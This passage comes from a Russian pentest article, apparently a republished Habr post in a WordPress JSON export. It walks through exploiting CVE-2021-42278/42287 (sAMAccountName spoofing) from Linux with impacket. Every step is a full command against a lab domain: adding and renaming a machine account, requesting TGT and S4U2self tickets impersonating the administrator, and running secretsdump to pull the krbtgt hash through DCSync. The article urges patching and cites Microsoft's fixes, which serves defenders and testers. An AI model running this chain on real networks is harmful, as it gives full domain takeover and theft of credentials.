Windows-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f <a href=\"https:\/\/github.com\/Kevin-Robertson\/Powermad\" rel=\"noopener noreferrer nofollow\">Powermad<\/a>, <a href=\"https:\/\/github.com\/PowerShellMafia\/PowerSploit\/blob\/dev\/Recon\/PowerView.ps1\" rel=\"noopener noreferrer nofollow\">PowerView<\/a> \u0438 <a href=\"https:\/\/github.com\/GhostPack\/Rubeus\" rel=\"noopener noreferrer nofollow\">Rubeus<\/a>, \u0443\u0436\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u0430 \u0430\u0432\u0442\u043e\u0440\u043e\u043c \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u044f \u0441\u0434\u0435\u043b\u0430\u044e \u044d\u0442\u043e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0441 Linux-\u043c\u0430\u0448\u0438\u043d\u044b. \u0412 \u044d\u0442\u043e\u043c \u043d\u0430\u043c \u043f\u043e\u043c\u043e\u0436\u0435\u0442 Python \u0438 \u043c\u043e\u0433\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\" rel=\"noopener noreferrer nofollow\">impacket<\/a>.<\/p>\n<h4>0. ms-DS-MachineAccountQuota<\/h4>\n<p>\u041f\u0435\u0440\u0432\u044b\u043c \u0434\u0435\u043b\u043e\u043c \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u043d\u0443\u044e \u0443\u0447\u0435\u0442\u043a\u0443. \u042d\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u043a\u0440\u0443\u0442\u0438\u0442\u044c \u043b\u044e\u0431\u043e\u0439 \u0434\u043e\u043c\u0435\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043f\u0440\u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u0438, \u0447\u0442\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 <a href=\"https:\/\/docs.microsoft.com\/ru-ru\/windows\/win32\/adschema\/a-ms-ds-machineaccountquota\" rel=\"noopener noreferrer nofollow\">ms-DS-MachineAccountQuota<\/a> \u0432 \u0434\u043e\u043c\u0435\u043d\u0435 AD \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0443\u043b\u044f. \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u044d\u0442\u043e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <a href=\"https:\/\/github.com\/ropnop\/go-windapsearch\" rel=\"noopener noreferrer nofollow\">go-windapsearch<\/a>:<\/p>\n<details class=\"spoiler\">\n<summary>Cmd<\/summary>\n<div class=\"spoiler__content\">\n<p><code>windapsearch --dc 172.22.0.2 -d tinycorp.net -u j.doe -p 'P@$$w0rd' -m custom --filter '(&amp;(objectClass=domain)(distinguishedName=DC=tinycorp,DC=net))' --attrs ms-ds-machineAccountQuota<\/code><\/p>\n<\/div>\n<\/details>\n<figure class=\"full-width\"><figcaption>\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 ms-DS-MachineAccountQuota<\/figcaption><\/figure>\n<h4>1. addcomputer.py<\/h4>\n<p>\u0414\u0430\u043b\u0435\u0435 \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u043c\u0430\u0448\u0438\u043d\u043d\u0443\u044e \u0423\u0417 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/addcomputer.py\" rel=\"noopener noreferrer nofollow\">addcomputer.py<\/a>:<\/p>\n<details class=\"spoiler\">\n<summary>Cmd<\/summary>\n<div class=\"spoiler__content\">\n<p><code>addcomputer.py -computer-name FromRussiaWithLove -computer-pass 'Passw0rd!' -dc-ip 172.22.0.2 -dc-host DC01.tinycorp.net tinycorp.net\/j.doe:'P@$$w0rd'<\/code><\/p>\n<\/div>\n<\/details>\n<figure class=\"full-width\"><figcaption>\u0414\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u043d\u043e\u0432\u0443\u044e \u043c\u0430\u0448\u0438\u043d\u043d\u0443\u044e \u0443\u0447\u0435\u0442\u043a\u0443<\/figcaption><\/figure>\n<h4>2. renameMachine.py (1)<\/h4>\n<p>\u0423\u0441\u043f\u0435\u0448\u043d\u043e. \u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0434\u0432\u0430 \u0448\u0430\u0433\u0430 \u2013 \u0443\u0431\u0438\u0442\u044c SPN-\u044b, \u0447\u0442\u043e\u0431\u044b \u043d\u0435 \u0431\u044b\u043b\u043e \u043a\u043e\u043d\u0444\u043b\u0438\u043a\u0442\u043e\u0432 \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0438 \u043c\u0430\u0448\u0438\u043d\u044b, \u0438, \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u0441\u0430\u043c \u0440\u0435\u043d\u0435\u0439\u043c. \u0417\u0434\u0435\u0441\u044c \u043f\u0440\u0438\u0434\u0435\u0442\u0441\u044f \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0437\u0430\u043c\u0430\u0440\u0430\u0442\u044c \u0440\u0443\u043a\u0438 \u0438 <s>\u0441\u043a\u043e\u043f\u0438\u043f\u0430\u0441\u0442\u0438\u0442\u044c<\/s> \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043f\u0430\u0440\u0443 \u0441\u0442\u0440\u043e\u043a \u043a\u043e\u0434\u0430. \u041a \u0441\u0447\u0430\u0441\u0442\u044c\u044e, <a href=\"https:\/\/github.com\/cannatag\/ldap3\" rel=\"noopener noreferrer nofollow\">ldap3<\/a> \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u0435\u0433\u043a\u043e \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 LDAP. \u0412 \u043d\u0430\u0448\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u044d\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0432 \u0434\u0432\u0435 \u0441\u0442\u0440\u043e\u043a\u0438:<\/p>\n<pre><code class=\"python\">ldap_session.modify(&lt;MACHINE_DN_OBJ>, {'servicePrincipalName': [ldap3.MODIFY_REPLACE, []]}) ldap_session.modify(&lt;MACHINE_DN_OBJ>, {'sAMAccountName': [ldap3.MODIFY_REPLACE, ['&lt;NEW_NAME>']]})']])<\/code><\/pre>\n<p>\u041d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 \u043a\u043e\u043b\u0435\u043d\u043a\u0435 \u0441\u043a\u0440\u0438\u043f\u0442 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0434\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c <a href=\"https:\/\/gist.github.com\/snovvcrash\/3bf1a771ea6b376d374facffa9e43383\" rel=\"noopener noreferrer nofollow\">\u0442\u0443\u0442\u044c<\/a>.<\/p>\n<details class=\"spoiler\">\n<summary>Cmd<\/summary>\n<div class=\"spoiler__content\">\n<p><code>.\/renameMachine.py tinycorp.net\/j.doe:'P@$$w0rd' -dc-ip 172.22.0.2 -current-name 'FromRussiaWithLove$' -new-name DC01<\/code><\/p>\n<\/div>\n<\/details>\n<figure class=\"full-width\"><figcaption>\u0423\u0431\u0438\u0432\u0430\u0435\u043c SPN-\u044b \u0438 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043c\u0430\u0448\u0438\u043d\u043d\u0443\u044e \u0443\u0447\u0435\u0442\u043a\u0443 \u0432 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0434\u043e\u043c\u0435\u043d\u0430<\/figcaption><\/figure>\n<h4>3. getTGT.py<\/h4>\n<p>\u0427\u0442\u043e \u0443 \u043d\u0430\u0441 \u0434\u0430\u043b\u044c\u0448\u0435 \u043f\u043e \u043f\u043b\u0430\u043d\u0443? \u0412\u0435\u0440\u043d\u043e \u2013 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c TGT \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/getTGT.py\" rel=\"noopener noreferrer nofollow\">getTGT.py<\/a>:<\/p>\n<details class=\"spoiler\">\n<summary>Cmd<\/summary>\n<div class=\"spoiler__content\">\n<p><code>getTGT.py tinycorp.net\/DC01:'Passw0rd!' -dc-ip 172.22.0.2<\/code><\/p>\n<\/div>\n<\/details>\n<figure class=\"\"><figcaption>\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c TGT \u0434\u043b\u044f \u0423\u0417 \u0441 \u0437\u0430\u0441\u043f\u0443\u0444\u0430\u043d\u043d\u044b\u043c sAMAccountName<\/figcaption><\/figure>\n<h4>4. renameMachine.py (2)<\/h4>\n<p>\u041f\u0435\u0440\u0435\u043c\u0435\u043d\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043c\u0430\u0448\u0438\u043d\u043d\u0443\u044e \u0443\u0447\u0435\u0442\u043a\u0443 \u043e\u0431\u0440\u0430\u0442\u043d\u043e:<\/p>\n<details class=\"spoiler\">\n<summary>Cmd<\/summary>\n<div class=\"spoiler__content\">\n<p><code>.\/renameMachine.py tinycorp.net\/j.doe:'P@$$w0rd' -dc-ip 172.22.0.2 -current-name DC01 -new-name 'FromRussiaWithLove$'<\/code><\/p>\n<\/div>\n<\/details>\n<figure class=\"full-width\"><figcaption>\u041e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u0440\u0435\u043d\u0435\u0439\u043c (\u043d\u043e\u0432\u043e\u0435 \u0438\u043c\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c)<\/figcaption><\/figure>\n<h4>5. getST.py<\/h4>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0441\u0430\u043c\u0430\u044f \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u2013 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0442\u0438\u043a\u0435\u0442 \u043d\u0430 \u0441\u043b\u0443\u0436\u0431\u0443 \u043d\u0430\u0448\u0435\u0433\u043e \u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u0430\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u0442\u0441\u044f \u0432 \u0442\u0438\u043a\u0435\u0442 \u043d\u0430 DC. \u042d\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0440\u0430\u0437\u043d\u043e\u0432\u0438\u0434\u043d\u043e\u0441\u0442\u0438 RBCD (\u0430\u043d\u0433\u043b. Resource-based Contrained Delegation) <a href=\"https:\/\/shenaniganslabs.io\/2019\/01\/28\/Wagging-the-Dog.html\" rel=\"noopener noreferrer nofollow\">\u0430\u0442\u0430\u043a\u0438<\/a>. \u0410\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u044f \u0442\u0440\u0430\u043d\u0437\u0438\u0442\u043d\u043e\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 S4U2self \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 Kerberos, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0437\u0430\u0438\u043c\u0435\u0442\u044c \u0442\u0430\u043a\u043e\u0439 TGS \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/getST.py\" rel=\"noopener noreferrer nofollow\">getST.py<\/a>. \u0414\u043e \u043c\u0430\u0441\u0442\u0435\u0440\u0430 impacket-\u0430 \u0444\u043b\u0430\u0433 <code>-self<\/code> \u0435\u0449\u0435 \u043d\u0435 \u0434\u043e\u0431\u0440\u0430\u043b\u0441\u044f, \u043e\u0434\u043d\u0430\u043a\u043e \u043e\u043d \u0443\u0436\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/pull\/1202\" rel=\"noopener noreferrer nofollow\">\u0432 \u044d\u0442\u043e\u043c PR<\/a> (\u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0430\u0442\u0430\u043a\u0438 \u043c\u043e\u0436\u043d\u043e \u0433\u043b\u044f\u043d\u0443\u0442\u044c \u0432 \u0434\u0440\u0443\u0433\u043e\u043c <a href=\"https:\/\/exploit.ph\/revisiting-delegate-2-thyself.html\" rel=\"noopener noreferrer nofollow\">\u043f\u043e\u0441\u0442\u0435<\/a> \u043e\u0442 @exploitph):<\/p>\n<details class=\"spoiler\">\n<summary>Cmd<\/summary>\n<div class=\"spoiler__content\">\n<p><code>KRB5CCNAME=DC01.ccache python3 impacket\/examples\/getST.py -spn LDAP\/DC01.tinycorp.net tinycorp.net\/DC01 -k -no-pass -dc-ip 172.22.0.2 -impersonate administrator -self<\/code><\/p>\n<\/div>\n<\/details>\n<figure class=\"full-width\"><figcaption>\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c TGS, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f TGT \u043c\u0430\u0448\u0438\u043d\u044b \u0441 \u0437\u0430\u0441\u043f\u0443\u0444\u0430\u043d\u043d\u044b\u043c sAMAccountName<\/figcaption><\/figure>\n<h4>6. secretsdump.py<\/h4>\n<p>\u0412\u043e\u0442 \u0438 \u0432\u0441\u0435, \u0442\u0435\u043f\u0435\u0440\u044c \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u043d\u0443\u0436\u043d\u044b\u0439 \u0442\u0438\u043a\u0435\u0442 \u0434\u043b\u044f DCSync-\u0430 \u0438 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0434\u043e\u043c\u0435\u043d\u0430, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/secretsdump.py\" rel=\"noopener noreferrer nofollow\">secretsdump.py<\/a>!<\/p>\n<details class=\"spoiler\">\n<summary>Cmd<\/summary>\n<div class=\"spoiler__content\">\n<p><code>KRB5CCNAME=administrator.ccache secretsdump.py -k -no-pass DC01.tinycorp.net -dc-ip 172.22.0.2 -just-dc-user 'TINYCORP\\krbtgt'<\/code><\/p>\n<\/div>\n<\/details>\n<figure class=\"full-width\"><figcaption>DCSync the Planet!<\/figcaption><\/figure>\n<h3>Outro<\/h3>\n<p>\u0425\u043e\u0447\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u0432\u043b\u0435\u0447\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043e\u0431\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u043a \u044d\u0442\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0435 \u0430\u0442\u0430\u043a \u0438 \u043f\u0440\u0438\u0437\u0432\u0430\u0442\u044c \u0432\u0441\u0435\u0445 \u043d\u0435\u0440\u0430\u0432\u043d\u043e\u0434\u0443\u0448\u043d\u044b\u0445 \u0430\u0434\u043c\u0438\u043d\u043e\u0432 \u043a \u043d\u0430\u0438\u0441\u043a\u043e\u0440\u0435\u0439\u0448\u0438\u043c \u043f\u0430\u0442\u0447\u0430\u043c \u0441\u0432\u043e\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c (\u0434\u0430\u0436\u0435 \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043d\u0430\u043c, \u043a\u0430\u043a \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u0435\u0440\u0430\u043c, \u044d\u0442\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u0442 \u0440\u0430\u0431\u043e\u0442\u044b).<\/p>\n<p>\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0434\u043b\u044f BlueTeam-\u0435\u0440\u043e\u0432 \u043a\u0430\u0441\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0434\u0435\u0442\u0435\u043a\u0442\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u0435\u0439\u0441\u0430 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0432 \u043a\u043e\u043d\u0446\u0435 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0440\u0435\u0441\u0435\u0440\u0447\u0430.<\/p>\n<p>\u0421\u043f\u0430\u0441\u0438\u0431\u043e \u0437\u0430 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u0438 Happy Hacking!<\/p>\n<h3>\u0421\u0441\u044b\u043b\u043a\u0438 \u0438 \u0440\u0435\u0441\u0443\u0440\u0441\u044b<\/h3>\n<ul>\n<li>\n<p><a href=\"https:\/\/exploit.ph\/cve-2021-42287-cve-2021-42278-weaponisation.html\" rel=\"noopener noreferrer nofollow\">eXploit \u2013 CVE-2021-42287\/CVE-2021-42278 Weaponisation<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/support.microsoft.com\/en-us\/topic\/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e\" rel=\"noopener noreferrer nofollow\">KB5008102\u2014Active Directory Security Accounts Manager hardening changes (CVE-2021-42278)<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/support.microsoft.com\/en-us\/topic\/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041\" rel=\"noopener noreferrer nofollow\">KB5008380\u2014Authentication updates (CVE-2021-42287)<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/exploit.ph\/revisiting-delegate-2-thyself.html\" rel=\"noopener noreferrer nofollow\">eXploit \u2013 Revisiting &#8216;Delegate 2 Thyself&#8217;<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/pull\/1202\" rel=\"noopener noreferrer nofollow\">Added -self to getST for S4U2self abuse by ShutdownRepo \u00b7 Pull Request #1202 \u00b7 SecureAuthCorp\/impacket<\/a><\/p>\n<\/li>\n<\/ul>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/594923\/\"> https:\/\/habr.com\/ru\/articles\/594923\/<\/a><br \/><\/br><\/br><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-388262","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/388262","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=388262"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/388262\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=388262"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=388262"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=388262"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}